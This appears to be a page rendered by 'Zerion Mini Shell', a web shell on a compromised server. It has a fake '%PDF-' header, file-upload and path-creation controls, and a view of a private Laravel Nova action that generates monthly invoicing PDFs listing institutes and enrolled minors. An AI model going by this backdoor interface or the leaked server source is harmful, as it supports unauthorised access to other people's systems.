%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/camillo/camillo-api-master/app/Nova/Actions/
Upload File :
Create Path :
Current File : /var/www/html/camillo/camillo-api-master/app/Nova/Actions/GeneratePDF.php

<?php

namespace App\Nova\Actions;

use App\Models\Classroom;
use Carbon\Carbon;
use Illuminate\Bus\Queueable;
use Illuminate\Support\Facades\App;
use Illuminate\Support\Facades\File;
use Illuminate\Support\Facades\Storage;
use Laravel\Nova\Actions\Action;
use Illuminate\Support\Collection;
use Laravel\Nova\Fields\ActionFields;
use Illuminate\Queue\SerializesModels;
use Illuminate\Queue\InteractsWithQueue;
use Laravel\Nova\Fields\Select;

class GeneratePDF extends Action
{
    use InteractsWithQueue, Queueable, SerializesModels;

    public function name()
    {
        return __('Generate PDF');
    }

    /**
     * Perform the action on the given models.
     *
     * @param  \Laravel\Nova\Fields\ActionFields  $fields
     * @param  \Illuminate\Support\Collection  $models
     * @return mixed
     */
    public function handle(ActionFields $fields, Collection $models)
    {
        $year = $fields->year;
        $month = $fields->month;
        $startOfMonth = Carbon::parse("{$year}-{$month}-1")->format('Y-m-d');
        if (Carbon::parse($startOfMonth)->greaterThan(Carbon::now())) {
            return Action::danger(__("Impossibile creare il pdf per una data futura"));
        }
        $endOfMonth = Carbon::parse($startOfMonth)->endOfMonth()->format('Y-m-d');
        Storage::disk('invoicing')->makeDirectory("{$year}-{$month}");
        $path = public_path("pdf/invoicing/{$year}-{$month}") . "/$month-$year.pdf";

        if (file_exists($path)) {
            File::delete($path);
        }
        $institutes = collect();
        /** @var \App\Models\Institute $institute */
        foreach ($models as $institute) {
            /** @var \App\Models\Minor $minor */
            $minors = collect();
            foreach ($institute->minors as $minor) {
                $classrooms = Classroom::where('institute_id', $institute->id)->whereHas('subscriptions', function ($s) use ($startOfMonth, $endOfMonth, $minor) {
                    $s->where('minor_id', $minor->id);
                    $s->whereDate('start_date', '<=', $startOfMonth);
                    $s->where(function($q) use ($endOfMonth) {
                        $q->whereDate('end_date', '>=', $endOfMonth);
                        $q->orWhereNull('end_date');
                    });
                })->with('schoolyear')->get();
                if (count($classrooms) > 0) {
                    $minors->push(
                        (object)[
                            'name'       => $minor->name,
                            'surname'    => $minor->surname,
                            'classrooms' => $classrooms
                        ]
                    );
                }
            }
            $institutes->push((object)[
                'name' => $institute->name,
                'code' => $institute->code,
                'minors' => $minors
            ]);
        }
        setlocale(LC_TIME, 'it_IT.UTF-8');
        $data = [
            'institutes' => $institutes,
            'year' => $year,
            'month' => strftime('%B', mktime(0, 0, 0, $month))
        ];
        setlocale(LC_TIME, "");
        $pdf = App::make('dompdf.wrapper');
        $pdf->loadView('pdf.invoicing', $data)->setPaper('a4', 'portrait')->save($path);
        return Action::download(asset("pdf/invoicing/{$year}-{$month}/$month-$year.pdf"), "$month-$year.pdf");
    }

    /**
     * Get the fields available on the action.
     *
     * @return array
     */
    public function fields()
    {
        return [
            Select::make(__('Month'), 'month')->options([
                '01' => __('January'),
                '02' => __('February'),
                '03' => __('March'),
                '04' => __('April'),
                '05' => __('May'),
                '06' => __('June'),
                '07' => __('July'),
                '08' => __('August'),
                '09' => __('September'),
                '10' => __('October'),
                '11' => __('November'),
                '12' => __('December'),
            ])->displayUsingLabels(),
            Select::make(__('Year'), 'year')->options([
                Carbon::now()->year => Carbon::now()->year,
                Carbon::now()->subYear()->year => Carbon::now()->subYear()->year,
                Carbon::now()->subYears(2)->year => Carbon::now()->subYears(2)->year,
            ])->displayUsingLabels()
        ];
    }
}

Zerion Mini Shell 1.0